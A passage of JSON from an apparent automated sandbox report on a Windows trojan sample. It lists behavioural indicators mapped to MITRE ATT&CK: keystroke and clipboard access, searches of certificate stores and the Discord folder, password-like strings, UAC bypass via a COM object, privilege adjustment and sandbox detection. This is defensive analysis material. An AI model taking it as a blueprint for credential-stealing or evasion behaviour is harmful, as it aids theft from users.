(RPC)","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003992)\n \"N_QwR4NSLtBtcixCu5po.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002516)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"InternetReadFile\" with parameter 2048 (UID: 00000000-00003992)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$47","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2a9a00\"\n \"lpReserved\": \"0\"}\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"24a560\"\n \"lpReserved\": \"0\"}\n \"A_fx0NQLKitBAeBAEfCf.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"305640\"\n \"lpReserved\": \"0\"}\n \"A_fx0NQLKitBAeBAEfCf.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"365160\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"InternetOpenA with parameter Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36\" (UID: 00000000-00003992)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$48","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set the value of an HTTP request header","description":"file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"CheckConnection_1_.htm\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-623","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \".googleapis.com\"; File: \"urlref_httpswww.youtube.com\")\n file/memory contains long string with (Indicator: \".googleapis.com\"; File: \"identifier_1_.htm\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"details too long to display","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$4a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking related APIs","description":"$4b","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"34.117.186.192\" on port \"443\"\n HTTPS traffic to \"104.26.5.15\" on port \"443\"\n HTTPS traffic to \"172.217.164.110\" on port \"443\"\n HTTPS traffic to \"157.240.22.35\" on port \"443\"\n HTTPS traffic to \"142.251.2.84\" on port \"443\"\n HTTPS traffic to \"142.250.189.195\" on port \"443\"\n HTTPS traffic to \"142.250.191.35\" on port \"443\"\n HTTPS traffic to \"142.251.214.142\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinW\" (Indicator: \"EmptyRecycleBin\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Ransomware/Banking","name":"Imports SHEmptyRecycleBin API","description":"Observed import api \"SHEmptyRecycleBin\" which can \"Empties the Recycle Bin on the specified drive\" [Source: MHH8pQrdaTkfN7lyJVXS.exe]\n Observed import api \"SHEmptyRecycleBin\" which can \"Empties the Recycle Bin on the specified drive\" [Source: xxRxKruXMsk3aXgsr67Q.exe]","origin":"Static Parser","mitre_attack_id":"T1070","relevance":1,"id":"static-84","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$4c","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"FindFirstFileW\" with parameter %APPDATA%\\Microsoft\\SystemCertificates\\My\\Certificates\\* (UID: 00000000-00003992)\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"FindNextFileW\" with parameter .. (UID: 00000000-00003992)\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"FindFirstFileW\" with parameter %APPDATA%\\Microsoft\\SystemCertificates\\My\\CRLs\\* (UID: 00000000-00003992)\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"FindFirstFileW\" with parameter %APPDATA%\\Microsoft\\SystemCertificates\\My\\CTLs\\* (UID: 00000000-00003992)\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"FindFirstFileA\" with parameter %APPDATA%\\Discord\\* (UID: 00000000-00003992)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: MHH8pQrdaTkfN7lyJVXS.exe)\n Found GetCursorPos() in an import section (Source: xxRxKruXMsk3aXgsr67Q.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details (Dotnet)","description":"Observed function \"get_ProcessName\" in \"cGutGk0YYa8pjPhoX_RK.exe\"","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"RegEnumValueW\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"00000000-00003792.00000002.74565.009F2000.00000020.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"118847363631,3116,3024,,RtlGetVersion,NTDLL.dll,\"252:05:03.515\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001416.00000002.74873.00790000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"VkKeyScanW\" (Indicator: \"VkKeyScan\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserName\" (Indicator: \"GetUserName\"; File: \"00000000-00003792.00000002.74565.009F2000.00000020.mdmp\")\n Found reference to API \"GetUserObjectSecurity\" (Indicator: \"GetUserObjectSecurity\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$50","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: MHH8pQrdaTkfN7lyJVXS.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: xxRxKruXMsk3aXgsr67Q.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: clip.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003792)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"00000000-00003792.00000002.74565.009F2000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeBackupPrivilege\" (Indicator: \"SeBackupPrivilege\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"SHUTDOWN\" (Indicator: \"shutdown\") in Source: 00000000-00001416.00000000.71033.0105C000.00000002.mdmp\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"00000000-00002516.00000003.76730.00DE1000.00000040.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: 